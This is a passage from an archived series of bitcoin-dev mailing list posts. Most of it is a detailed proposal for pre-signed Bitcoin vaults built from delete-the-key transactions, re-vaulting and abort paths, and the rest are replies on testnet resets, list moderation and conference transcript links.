https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/debugging-bitcoin/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/rebroadcasting/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/signet/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/wallet-architecture/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/libbitcoin/
Lightning network:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/lightning-network-routing/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/lightning-network-sphinx-and-onion-routing/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/lightning-network-topology/
Upgrades:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/accumulators/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/taproot/
Scaling Bitcoin conference
====================
LN, payment networks and hubs:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/anonymous-atomic-locks/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/atomic-multi-channel-updates/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/payment-channel-recovery-with-seeds/
Upgrades:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/bip-securethebag/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/erlay/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/secure-fountain-architecture/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/elastic-block-caps/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/plasma-cash/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/prism/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/proof-of-necessary-work/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/proof-of-verification-for-proof-of-work/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/threshold-scriptless-scripts/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/scriptless-lotteries/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/survey-of-progress-in-zero-knowledge-proofs-towards-trustless-snarks/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/zkvm/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/bitml/
Private information retrieval methods for lightweight clients:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/private-information-retrieval/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/scaling-oblivious-read-write/
More privacy:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/zerolink-sudoku/
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/txprobe/
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20190916/c98c8f18/attachment.html>

2023-06-07 18:20:32

- reply

📅 Original date posted:2019-09-15
📝 Original message:On Sun, Sep 15, 2019 at 8:49 AM Emil Engler via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Hello, I'm thinking about writing a BIP about resetting the testnet on
> regular/scheduled basis
>
As a reminder, here is where you last brought up the idea, and the feedback:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2019-June/017014.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2019-June/017031.html
Since then, here is some new material on signet:
https://diyhpl.us/wiki/transcripts/scalingbitcoin/tel-aviv-2019/edgedevplusplus/signet/
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20190915/07505fd9/attachment.html>

2023-06-07 18:20:08

- reply

📅 Original date posted:2019-08-12
📝 Original message:On Mon, Aug 12, 2019 at 10:01 AM Peter Todd <pete at petertodd.org> wrote:
> The key difference being it's not important that this be a *public*
> notification: that the public can see just happens to be an (unfortunate)
> implementation detail. For example, you could imagine a system where the
> "prepare to spend" tx is indistinguishable from any other transaction.
>
True, I did not intend for everyone to know the meaning of the observed
transaction. It turns out to not be too useful to the scheme anyway, unless
you're interested in protecting against an adversary dumb enough to tell
you he has stolen your key before spending your coins. To reiterate my
other follow-up email, the best you can do (... or the best I can do right
now) is limit losses to k% where k is selected by the user, e.g. 1 input
100 outputs each with succesively increasing timeouts allowing the rotten
non-rotated(pre-inserted) key to spend, and instant spending by a recovery
flow. Once the attacker steals any one of the k% outputs, you know to not
let the outputs timeout to that key in the future. Unfortunately, without
an opcode-style covenant, the only way to know if a stale hot key is stolen
is to observe an unexpected spend or, if you're lucky, observe an
unexpected signature otherwise unassociated with a transaction.
> > * Nuclear abort key: Also unnecessary. This is a key for which only a
> single
>
Obviously normally to provably destroy coins you'd spend to an OP_RETURN
> output, or if miner censorship was an issue, a pay-to-script-hash of an
> OP_RETURN <nonce> script.
>
Oh, right. Well, that works.
> > Delete the key (for pre-signed transactions)
> > ============================================
> >
> > The delete-the-key trick is simple. The idea is to pre-sign at least one
> > transaction and then delete the private key, thus locking in that course
> of
> > action.
> >
> > Unfortunately, delete-the-key doesn't really work for multisig scenarios
> > because nobody would trust that anyone else in the scheme has actually
> deleted
> > the secret. If they haven't deleted the secret, then they have full
> unilateral
> > control to sign anything in that branch of the transaction tree. The
> only time
> > that delete-the-key might be appropriate would be where the user who
> deletes
> > the key and controls the key during the setup process is also the sole
> > beneficiary of the entire setup with the multisig participants.
> >
> > Alternative fee rates are easier to deal with using delete-the-key,
> compared to
> > a technique where the private key never existed which can only be used
> to sign
> > one fee rate per public key, requiring an entirely new vault subtree for
> each
> > alternative fee rate. With delete-the-key, the alternative fee rates are
> signed
> > with the private key before the private key is deleted.
>
> I think this could use a bit more analysis here: why can't delete the
> *keys*
> work, with each party deleting a separate private key that's used in an
> m-of-n
> fashion? So long as at least n-m+1 parties actually deleted their keys
> IIUC it
> should be secure.
>
I was thinking about another construction where you pick a key as a group
(separate from the multisig setup) and sign with that. But in practice, as
you have pointed out, you would do the delete-the-key trick on the multisig
construction itself with each party contributing their own pubkey,
requiring 1/n honest deletes.
> > Multisig gated by ECDSA pubkey recovery for provably-unknown keys
> > =================================================================
> >
> > A group can participate in a multisig scheme with provably-unknown ECDSA
> keys.
> > Instead of deleting the key, the idea is to agree on a blockheight and
> then
> > select the blockhash (or some function of the chosen blockhash like
> > H(H(H(blockhash)))) as the signature. Next, the group agrees on a
> transaction
> > and they recover the public key from the signature using ECDSA pubkey
> recovery.
>
> Could you explain in more detail why you're deriving this from a blockhash?
>
Well you need to pick an entropy source, and I wouldn't want to tell people
to just trust the first party to tell you a good sequence of bytes.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20190812/457a9f30/attachment-0001.html>

2023-06-07 18:20:07

- reply

📅 Original date posted:2019-08-07
📝 Original message:Replying to two emails below.
On Wed, Aug 7, 2019 at 7:27 PM ZmnSCPxj <ZmnSCPxj at protonmail.com> wrote:
> > - Re-vaulting transaction. This is where the magic happens. The
> re-vaulting
> > transaction is signed during transaction tree setup, before
> constructing the
> > delayed-spend transaction for the parent vault. The re-vaulting
> transaction is
> > broadcasted when someone wants to prevent a coin withdrawal during
> the public
> > observation delay period. The re-vaulting transaction spends the
> delayed-spend
> > transaction outputs. It has a single output with a script created by
> running
> > the entire vault setup function again. Hence, when the re-vaulting
> transaction
> > is confirmed, all of the coins go back into a new
> identically-configured vault
> > instead of being relinquished through the delayed-spend transaction
> timeout for
> > hot wallet key signing.
>
> As transactions need to be signed in reverse order, it seems to me that
> there is a practical limit in the number of times a vault can be used.
> Basically, the number of times we run the vault setup function is the
> limit on number of re-vaultings possible.
>
> Is my understanding correct?
>
Yes, that is correct. When setting up the vault, plan it "all the way to
the end" like next 100+ years. With exponential backoff on the relative
timelock values, the total number of pre-signed transactions isn't really
that high. With a few thousand pre-signed transactions (more than enough),
you can have high resolution timelocks well into the future.
On Wed, Aug 7, 2019 at 4:19 PM Dustin Dettmer <dustinpaystaxes at gmail.com>
wrote:
> Does revaulting vault up with the same keys, or new ones?
> Are they new derivation paths on the same key?
>
Honestly, no idea. The answer to that might depend on each individual vault
user. If the user doesn't want to deal with the expense of managing a bunch
of unique keys and other data, then it might make more sense to use the
same values and have a small blob that has to be stored for a long time,
rather than many different blobs stored in different places to deal with.
- Bryan
http://heybryan.org/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20190807/8b220b88/attachment.html>

2023-06-07 18:20:06

- reply

📅 Original date posted:2019-08-07
📝 Original message:Hi,
One of the biggest problems with the vault scheme (besides all of the
setup data that has to be stored for a long time) is an attacker that
silently steals the hot wallet private key and waits for the vault's
owner to make a delayed-spend transaction to initiate a withdrawal
from the vault. If the user was unaware of the theft of the key, then
the attacker could steal the funds after the delay period.
To mitigate this, it is important to choose a stipend or withdrawal
amount per withdrawal period like x% of the funds. This limits the
total stolen funds to x% because once the funds are stolen the user
would know their hot key is compromised, and the user would know to
instead use one of the other clawback paths during all of the future
withdrawal delay periods instead of letting the delay timeout all the
way to the (stolen) default/hot key.
The reason why a loss limiter is the way to go is because there's
currently no way (that I am aware of, without an upgrade) to force an
attacker to reveal his key on the blockchain while also forcing the
attacker to use a timelock before the key can spend the coins. I am
curious about what the smallest least invasive soft-fork would be for
enabling this kind of timelock. There are so many covenant proposals
at this point (CHECKSIGFROMSTACK, SECURETHEBAG, CHECKOUTPUTVERIFY,
....). Or there's crazy things like a fork that enables a transaction
mode where the (timelock...) script of the first output is
automatically prefixed to any of the other scripts on any of the other
outputs when an input tries to spend in the future. A thief could add
his key to a new output on the transaction and try to spend (just like
a user would with a fresh/rotated key), but the OP_CSV would be
automatically added to his script to implement the public observation
delay window.
Also, there was other previous work that I was only informed about
today after posting my proposal, so I should mention these as related
work:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2018-February/015793.html
https://blog.oleganza.com/post/163955782228/how-segwit-makes-security-better
https://www.youtube.com/watch?v=diNxp3ZTquo
https://bitcointalk.org/index.php?topic=5111656
- Bryan
http://heybryan.org/

2023-06-07 18:20:05

- reply

📅 Original date posted:2019-08-07
📝 Original message:Hi,
I have a proposal for implementing bitcoin vaults in a way that does not
require any soft-forks or other software upgrades, although it could benefit
from SIGHASH_NOINPUT which I'll describe later.
I call them pre-signed vaults.
Vault definition
================
Here, a vault is defined as a transaction setup scheme that binds both the user
and the attacker to always using a public observation and delay period before a
weakly-secured hot key is allowed to arbitrarily spend coins. This is the same
definition previously used[1]. During the delay period, there is an opportunity
to initiate recovery/clawback which can either trigger deeper cold storage
parameters or at least reset the delay period to start over again for the same
keys.
One of the important components of this is the delete-the-key pre-signed
transaction concept, where only a single transaction is (pre)signed before
deleting the key. This is basically an emulation of a covenant and enforces a
certain outcome.
Background and motivation
=========================
I was looking at Eyal and Sirer's 2016 vaults paper [1], and I saw this
headscratcher:
> Vault transactions use a delay mechanism. We note that vault transactions
> cannot be implemented with existing timing mechanisms such as
> CHECKLOCKTIMEVERIFY opcode or transaction locktime.
This was probably written before the introduction of OP_CHECKSEQUENCEVERIFY.
Still, a viable construction would have more steps than just using OP_CSV. They
were probably not thinking about what those steps might be, because in the
context of the paper they were proposing a bitcoin vault implemented using
recursive consensus-enforced covenants via a new opcode, which obviously cannot
be deployed without an upgrade fork. Covenants have been discussed for years,
but require new opcodes or other consensus-enforcement changes.
Relative locktimes are useful here because there is no knowledge as to when the
transactions might be broadcasted in the future. The delays need to be relative
to after the transaction is included in the blockchain, not to setup
initialization time.
Also, from [2]:
> We show that a [vault transaction] mechanism is currently not possible in all
> cryptocurrencies [...] Bitcoin's scripting language requires support for
> covenants.
I haven't seen any previous proposal for how to implement recursive bitcoin
vaults without a fork and without a covenant. After asking around, I am pretty
sure this is somewhat novel. The closest I guess is [3].
Vaults are particularly interesting as a bitcoin cold storage security
mechanism because they enable a publicly observable delay period during which
time a user could be alerted by a watchtower that a thief might be in the
process of stealing their coins, and then the user may take some actions to
place the coins back into the vault before the relative timelock expires. There
seems to be no way to get this notification or observation period without a
vault construction. It might have been assumed it required a covenant.
Having a vault construction might go a long way to discourage would-be
attackers, on principle that the attacker might be incapable of recovering
their cost-of-attack because the recovery mechanism can lock up the coins
indefinitely. Griefing or denial-of-service would still be possible, of course,
but with multisig there might be some ways to put a halt to that as well. I am
working under the assumption that the attacker knows that the user is a vault
user.
Vaults
======
The idea is to have a sequence of pre-generated pre-signed transactions that
are generated in a certain way. The basic components are a vaulting transaction
that locks coins into a vault, a delayed-spend transaction which is the only
way to spend from a vault, and a re-vaulting transaction which can
recover/clawback coins from the delayed-spend transaction. The security of this
scheme is enforced by pre-signing transactions and deleting private keys, or
with the help of SIGHASH_NOINPUT then there's another scheme where private keys
are provably never known. This enforces that there's only a specific set of
possible outcomes at every step of the vault.
Some examples of what the set of broadcasted transactions might look like in
regular usage:
coins -> VT -> DST -> exit via hot wallet key
coins -> VT -> DST -> RVT
coins -> VT -> DST -> RVT -> DST -> ...
coins -> VT -> ... -> RVT998 -> nuclear abort
where:
VT = vault transaction
DST = delayed-spend transaction
RVT = re-vaulting transaction
The delayed-spending transaction would have a single output with a script like:
(
30 days AND hot wallet key
OR 10 days AND re-vaulting public key
OR 1 day AND 4-of-7 multisig
OR 0 days and super-secure nuclear abort ragequit key
)
Another diagram:
VT_100 -> DST -> (optionally) RVT -> coins are now in VT_99
VT_99 -> DST -> (optionally) RVT -> coins are now in VT_98
...
VT_1 -> burn-all-coins nuclear abort ragequit (final)
Definitions
===========
Transactions and components:
* Commitment/funding vault setup transaction. Signed after setting up the
transaction tree, and it is broadcasted whenever funds are to be placed into
the vault.
* Delayed-spend transaction. Signed during the vault transaction tree setup,
and it is broadcasted when the user wants to withdraw coins from cold storage
or otherwise manipulate the coins. The output script template used by the
delayed-spend transaction was defined earlier.
* Hot wallet key: Somewhat insecure key. This can also be multisig using
multiple hot keys.
* Re-vaulting key: It is important to note that the private key either never
existed (SIGHASH_NOINPUT + P2WPK for the re-vaulting transaction) or the
private key was deleted after pre-signing the re-vaulting transaction.
* 4-of-7 multisig: This is a group of differently-motivated individuals who are
responsible for signing transactions. This multisig group is not necessry to
describe the technique, I just think it's a useful feature for a vault to
include.
* Nuclear abort key: Also unnecessary. This is a key for which only a single
signed transaction will ever exist, and that single transaction will spend to a
proof-of-burn key like 0x00. This key must be extremely secure, and if there
is any doubt about the ability to keep such a key secured, then it is better to
not include this in the protocol. Alternatively, maybe include it as an option
50 layers down in the revaulting sequence.
* Nuclear-abort pre-signed transaction. This is signed during transaction tree
setup, before constructing the delayed-spend transaction. It is broadcasted
only if the user wants to provably relinquish coins forever without giving the
attacker any coins.
* Re-vaulting transaction. This is where the magic happens. The re-vaulting
transaction is signed during transaction tree setup, before constructing the
delayed-spend transaction for the parent vault. The re-vaulting transaction is
broadcasted when someone wants to prevent a coin withdrawal during the public
observation delay period. The re-vaulting transaction spends the delayed-spend
transaction outputs. It has a single output with a script created by running
the entire vault setup function again. Hence, when the re-vaulting transaction
is confirmed, all of the coins go back into a new identically-configured vault
instead of being relinquished through the delayed-spend transaction timeout for
hot wallet key signing.
* Special case: final transaction. This is the very first pre-signed
transaction during setup, and the transaction spends the coins using any
provable burn technique. This is broadcasted only at the end of the game, as an
ultimate abort and forfeiture of coins without giving in to an adversary. It's
similar to the nuclear-abort ragequit transaction but it sits at the same place
that a delayed-spend transaction would, at the very end of the rainbow or
yellow brick road.
Example log during vault setup
==============================
When running the recursive vault setup function, the created artifacts (in
order) will look like:
1) choose one of:
(first iteration) pre-signed burn-all-coins nuclear abort ragequit (final)
(all others) a new vault setup transaction spendable only by its
delayed-spend transaction
2) pre-signed re-vaulting transaction sending to vault setup or final
transaction, with a unique private key
3) pre-signed delayed-spend transaction, with a unique private key
4) vault transaction spendable only by the delayed-spend public key
Pseudocode
==========
In pseudocode (where PTX is a pre-signed transaction function with
private key deletion):
VT(counter, *args, **kwargs) =
if counter == 0:
DST = PTX("burn-all-coins")
else:
next_vault = VT(counter-1, *args, **kwargs)
revaulting = PTX("only spendable by next_vault public key")
DST = PTX("DST policy including revaulting and other conditions")
vault = PTX("spendable only by this DST")
return vault
Pre-signed transactions
=======================
What has been known for a while is that a covenant can be somewhat emulated
using a pre-signed transaction where the user then deletes the private key,
enforcing that the user's chosen policy must be enforced since there is only
one existing option and there will only ever be one option.
Such a scheme has been previously described for simple one-time and chained
vaults [3]. I have learned that the author has an implementation that is in
preparation, for a non-recursive version.
Note that a series of pre-signed transactions can be considered to be an
emulation of a covenant. Imagine a linear chain of pre-signed transactions
where each hop has a relative locktime before being able to broadcast the next
transaction. To recover the coins at the end of the rainbow, one would need to
broadcast each sequential transaction in order and wait for the relative
timelocks to expire each time. Here, covenants provide something like an undo
for bitcoin, but only between pre-determined addresses and scripts.
Fees for pre-signed transactions
================================
There's a few different techniques to talk about:
1) SIGHASH_SINGLE|SIGHASH_ANYONECANPAY to let someone add inputs and outputs.
This can get pretty complex though.
2) Add a zero-value OP_TRUE output and let anyone spend the zero-value output
and attach a child-pays-for-parent (CPFP) transaction to pay for everything.
3) Pre-sign a variety of different possible fee rates. Unfortunately this
involves an explosive blow-up in the amount of transaction data to generate. It
might actually be a reasonable blow-up amount, only resulting in a few hundred
megabytes of additional data. But given the other options, this is unnecessary.
Delete the key (for pre-signed transactions)
============================================
The delete-the-key trick is simple. The idea is to pre-sign at least one
transaction and then delete the private key, thus locking in that course of
action.
Unfortunately, delete-the-key doesn't really work for multisig scenarios
because nobody would trust that anyone else in the scheme has actually deleted
the secret. If they haven't deleted the secret, then they have full unilateral
control to sign anything in that branch of the transaction tree. The only time
that delete-the-key might be appropriate would be where the user who deletes
the key and controls the key during the setup process is also the sole
beneficiary of the entire setup with the multisig participants.
Alternative fee rates are easier to deal with using delete-the-key, compared to
a technique where the private key never existed which can only be used to sign
one fee rate per public key, requiring an entirely new vault subtree for each
alternative fee rate. With delete-the-key, the alternative fee rates are signed
with the private key before the private key is deleted.
Multisig gated by ECDSA pubkey recovery for provably-unknown keys
=================================================================
A group can participate in a multisig scheme with provably-unknown ECDSA keys.
Instead of deleting the key, the idea is to agree on a blockheight and then
select the blockhash (or some function of the chosen blockhash like
H(H(H(blockhash)))) as the signature. Next, the group agrees on a transaction
and they recover the public key from the signature using ECDSA pubkey recovery.
A pre-signed transaction is created, which will trigger the start of the public
observation period described earlier and also start the clock for the bip112
relative timelock on its output. In the output script, an OR branch
is added that enables the use of a re-vaulting key which could also be its own
separate multisig construction.
This is incompatible with P2WPKH because the P2WPKH spending scriptSig needs to
have the pubkey (to check the hash of the pubkey against the pubkeyhash in the
scriptPubKey), which in turn makes it incompatible with ECDSA pubkey recovery
which requires a hash of the message. However, with P2WPK and SIGHASH_NOINPUT
instead of P2WPKH it could conceivably work. SIGHASH_NOINPUT is required because
otherwise the input includes a txid which references the public key. With P2WPK,
the scriptSig only needs a signature and not a public key. Note that what would
be required is a version of SIGHASH_NOINPUT that does not commit to the public
key, and I think a few of the NOINPUT proposals are committing to the public
key.
Alternatively, there may be some constructions using the 2-party ECDSA
techniques or m-n party ECDSA techniques.
Deploying exceedingly large scripts
===================================
A brief interlude to share a somewhat obvious construction. I haven't seen this
written down yet.
Suppose there is a bitcoin script that someone is interested in using, but it
far exceeds the size limits and sigop limits. To fix this, they would split up
the script into usable chunks, and then use the delete-the-key mechanism (or
the other one) to create an OR branch that is signable by a single key for
which only a single signature is known. That new pre-signed transaction would
spend to a script that has the output with the remainder of the script of
interest. Re-vaulting or clawback clauses can be added to that output as well,
but spending back to the original root script will only work by generating new
scripts and keys (since the final hash isn't known until the whole tree is
constructed, it's a dependency loop).
Recursively-enforced multi-party multisig bitcoin vaults
========================================================
Ideally, to enforce a covenant with impossible fairy dust magic, we would ask
for a bitcoin transaction that could be self-referential because the
only-one-signature-ever trick requires that the signed message be known before
producing the signature, and the signature has to be known before the public
key can be known, and the public key would have to be included in the
self-referential message/transaction hash value. So, that's a dependency loop
and it doesn't work. It would be interesting to explore a variation of this
idea with masking, such that a value X can be replaced by a hash over the whole
script with the X value, even though the real script will have the hash.
Someone else can figure that one out for me :-).
Instead of the self-referential values attempting to reference the same
script that is in the process of being constructed, an alternative is to use
the same script template but populate it with different parameters. The script
template gets reused over and over again, all the way down the tree, until the
final transaction which could be >100 years into the future once done adding up
all the relative locktimes. In fact, to create and populate this terrifying
recursive script tree, the final transaction needs to be created first, and
then it is given as input to the script template function and that output is
then given to the script template function itself-- and so on. At each stage,
there are additional pre-signed transactions and values to remember.
This can be written as:
final_transaction = TX(spend to 0x0000 to burn the coins)
initial_transaction = F(F(...F(final_transaction))
(This is missing parameters to indicate to the function what the spending
keys requirements are to be.)
See earlier explanation for more details.
Each call to the template populating function produces values that each must be
preserved for a very long time. It is less safe to store all of the pre-signed
transactions together at the same time, but more convenient. With less
redundancy, there is an increased chance of losing data over time, which could
render the coins completely frozen. This doesn't particularly worry me because
forgetting a key has that property already, and this could be likened to
hundreds of megabytes of extra key data or something. Unlike the much smaller
covenant-based (opcode-based covenant) vault construction, the multiple layers
here can be separately stored and protected, which might be able to protect
against an adversary that has stolen some of the re-vaulting keys but not all
of them.
Optimizations can be made to store parameters for generating the remainder of
the tree, such as using deterministic key derivation, such that megabytes of
data wouldn't need to be long-term stored. Only the initial parameters would
need to be stored.
Financial privacy for custody
=============================
One of the concerns raised in [2] is that if all coins at an exchange are
stored together in the same vault, then attackers would be able to learn about
access control policies by observing scripts and keys. Some privacy can be
recovered by using segregated vaults, at the cost of additional setup
complexity and keeping more data in long-term storage.
However, note that I think vaults are also useful for personal cold storage
solutions.
Fail-deadly mechanism
=====================
An early nuclear abort option can be added to these scripts. This idea was
explored in [2]. This would be a very cold very secret key that would abort the
re-vaulting procedure and send all coins to a (provably) nonsense key. This
allows a vault user to destroy the coins instead of continuously monitoring the
bitcoin blockchain for the rest of his life. The attacker can't recover their
cost of attack if they never get the coins, and this eliminates an entire class
of potential attackers who are directly interested only in financial gain. The
disadvantage is that if the attacker finds the secret key for the fail-deadly
mechanism and uses it, then all of the coins are gone forever.
Multisig variations
===================
The re-vaulting key could be the same key at each layer, or only sometimes the
same key, or always a unique key stored separately in another secure location.
Additionally, these re-vaulting keys could be subjected to multisig schemes, as
well as Shamir secret sharing schemes or other secret sharing schemes.
The idea of adding the 4-of-7 multisig component is to avoid griefing
situations, at the cost of the additional security requirements for the 4-of-7
multisig group.
Key rotation for vaults
=======================
Keeping the same hot wallet key for 100 years is not advisable. Rotate the keys
by setting up a new vault construction and initiating a withdrawal transaction
from the old vault to the new vault.
Single-use seals
================
This proposal may have inadvertedly demonstrated a practical way to implement
Peter Todd's single-use seals concept [4]. I am hesitant to say so, though,
because I think he would ask for a more sophisticated way to verify seal
closure.
Paid defection
==============
It might be advisable to add small rewards for evidence of defection amongst
multiparty multisig setups. Besides amounts spendable by individual keys from a
multisig setup, it may be possible to use a zero-knowledge contingent payment
for a zero-knowledge statement like: I have a signature s over some message m
which validates for pubkey pk where pk is a member of the multisig group. Then
the zkcp transaction would pay for knowledge of defectors. The zkcp procedure
would require interaction with the defector, while the direct pubkey method
would not. This is similar to companies paying employees to quit when they
value the payment over the value of continued employment.
Handling change
===============
It is important to note that this vault setup is one-time and once-only. There
must only ever be one deposit into one vault. Also, spending some coins would
require sending the change amount back into a new vault. Alternatively,
upfront work can be done to set a regular withdrawal stipend or assumption
about how many coins are left, such that the transaction tree can be
pre-generated for those possibilities, hence cutting down on future vault
reinitializations. It would also be possible to commit upfront to only ever
working in some minimum increment number of bitcoin or something.
It is very important to only fund the vault once, and only with the amount that
was configured when setting up the vault.
References
==========
[1] https://fc16.ifca.ai/bitcoin/papers/MES16.pdf
[2] http://www0.cs.ucl.ac.uk/staff/P.McCorry/preventing-cryptocurrency-exchange.pdf
[3] http://web.archive.org/web/20180503151920/https://blog.sldx.com/re-imagining-cold-storage-with-timelocks-1f293bfe421f?gi=da99a4a00f67
[4] https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-December/015350.html
or https://diyhpl.us/wiki/transcripts/building-on-bitcoin/2018/single-use-seals/
or https://petertodd.org/2016/closed-seal-sets-and-truth-lists-for-privacy
Acknowledgements
================
* Jeremy Rubin for pointing out something embarrassingly broken in an earlier
draft.
* Bob McElrath for telling me to use SIGHASH_NOINPUT which I proceeded to
promptly forget about.
* Andrew Poelstra for the OP_TRUE trick.
* Joe Rayhawk for paid defection.
* Tadge Dryja for pointing out a few differences between SIGHASH_NOINPUT
proposals.
Thank you,
- Bryan
http://heybryan.org/

2023-06-07 18:19:53

- reply

📅 Original date posted:2019-08-02
📝 Original message:On Thu, Aug 1, 2019 at 10:50 PM Emil Engler via bitcoin-dev
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> The current situation is that the moderation is slow and takes around
> >24h for a E-Mail to be on the mailing list
It really shouldn't be 24 hours. Our strategy was to have a few
moderators in different timezones to cover sleep shifts or other
disruptions of service. Evidently this has not been adequate.
> Jonas Schnelli proposed: "I propose that we add more moderators to
> shorten the moderation lag which has been between >24h, thus makes
> debates cumbersome"
Makes sense. I'll go find a few people.
> Beside this I had the idea of people who already contributed n e-mails
> to the mailing list don't need an approval for any e-mail anymore (Where
> n is the number of previous e-mails). Does this exists already?
There is an active software vulnerability which requires moderation to
be enabled. This version of mailman is unmaintained, and Linux
Foundation is migrating away from or abandoning the email protocol so
they are less willing to do backend infrastructure work. This
manifests in other ways, like downtime, but also weird situations like
missing emails that never hit the moderation queue. I get pings from
different people about two times a year where they report an email
that they think I missed, but in fact it never hit the moderation
queue at all. Email clearly isn't the greatest protocol.
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 18:18:41

- reply

📅 Original date posted:2019-06-09
📝 Original message:Hi all,
The following are some notes I took during Breaking Bitcoin 2019, selected
for relevance. Any mistakes are most likely my own.
Carl Dong gave an excellent talk on guix as a replacement for the gitian
build system:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/bitcoin-build-system/
but really just watch his presentation:
https://www.youtube.com/watch?v=I2iShmUTEl8
Mempool analysis, client-side filtering, client updates
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/mempool-analysis-simulation/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/neutrino/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/p2p-encryption/
Some privacy and coinjoin talks:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/breaking-bitcoin-privacy/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/breaking-wasabi/
Hardware wallets:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/extracting-seeds-from-hardware-wallets/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/future-of-hardware-wallets/
Bitcoin upgrades:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/secure-protocols-bip-taproot/
p2pool analysis:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/security-attacks-decentralized-mining-pools/
Lightning network:
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/lightning-network-routing-security/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/lightning-network-topological-analysis/
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/lightning-network-security-panel/
Of possible interest (general, not really development focused):
http://diyhpl.us/wiki/transcripts/breaking-bitcoin/2019/defense-of-bitcoin/
- Bryan
http://heybryan.org/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20190609/d578b4da/attachment.html>

2023-06-07 18:18:39

- reply

📅 Original date posted:2019-06-08
📝 Original message:Be greeted Emil,
On Sat, Jun 8, 2019 at 9:21 AM Emil Engler via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Hello, I tried myself with some Bitcoin development. For this I used of
> course the Bitcoin testnet. However it took me one hour to sync the
> blockchain with around 1538358 blocks. In my opinion that is too much
> for a testnet. Especially the blockchain size with around 26GB is so
> much. Would it be possible to reset the testnet with a new genesis block
> ? And if so, can we setup a fixed cycle for resetting the testnet (For
> example every second 1st of January) ?
>
At the moment, I somewhat doubt this is likely to happen. Signet provides
an alternative for configuring multiple separate private and public testing
networks. If you would like to get involved, check out the recent
discussion on the topic recorded here:
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-signet/
- Bryan
http://heybryan.org/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20190608/ae64c521/attachment.html>

2023-06-07 18:18:38

- reply

📅 Original date posted:2019-06-07
📝 Original message:Hi,
The following are some notes from the coredev.tech Amsterdam 2019 meeting.
Any mistakes are my probably my own.
Here is a conversation about the code review process in Bitcoin Core:
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-05-code-review/
Here is a conversation with some of the maintainers about what problems
they are seeing:
